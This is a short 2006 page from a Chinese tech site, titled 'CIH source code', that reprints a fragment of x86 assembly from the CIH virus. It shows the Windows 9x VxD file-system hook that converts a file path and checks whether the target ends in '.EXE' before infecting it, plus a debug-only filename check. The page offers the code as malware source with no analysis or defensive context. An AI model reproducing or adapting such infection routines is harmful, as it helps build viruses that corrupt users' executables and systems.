CIH源代码

http://tech.ddvip.com   2006年04月03日    社区交流 收藏本文

本文详细介绍CIH源代码

  ; mov esi, offset FileNameBuffer
add esi, FileNameBuffer-@6

  push esi

  mov al, [ebx+04h]
cmp al, 0ffh
je CallUniToBCSPath

  add al, 40h
mov ah, ':'

  mov [esi], eax

  inc esi
inc esi

  ; *************************************
; * UniToBCSPath *
; *************************************
; * This Service Converts *
; * a Canonicalized Unicode Pathname *
; * to a Normal Pathname in the *
; * Specified BCS Character Set. *
; *************************************

  CallUniToBCSPath:
push 00000000h
push FileNameBufferSize
mov ebx, [ebx+10h]
mov eax, [ebx+0ch]
add eax, 04h
push eax
push esi
int 20h ; VXDCall UniToBCSPath
UniToBCSPath = $
dd 00400041h
add esp, 04h*04h

  ; *************************************
; * Is FileName '.EXE' !? *
; *************************************

  ; cmp [esi+eax-04h], '.EXE'
cmp [esi+eax-04h], 'EXE.'
pop esi
jne DisableOnBusy

  IF DEBUG

  ; *************************************
; * Only for Debug *
; *************************************

  ; cmp [esi+eax-06h], 'FUCK'
cmp [esi+eax-06h], 'KCUF'
jne DisableOnBusy

  ENDIF

  ; *************************************
; * Is Open Existing File !? *
; *************************************

责编:豆豆技术应用

正在加载评论...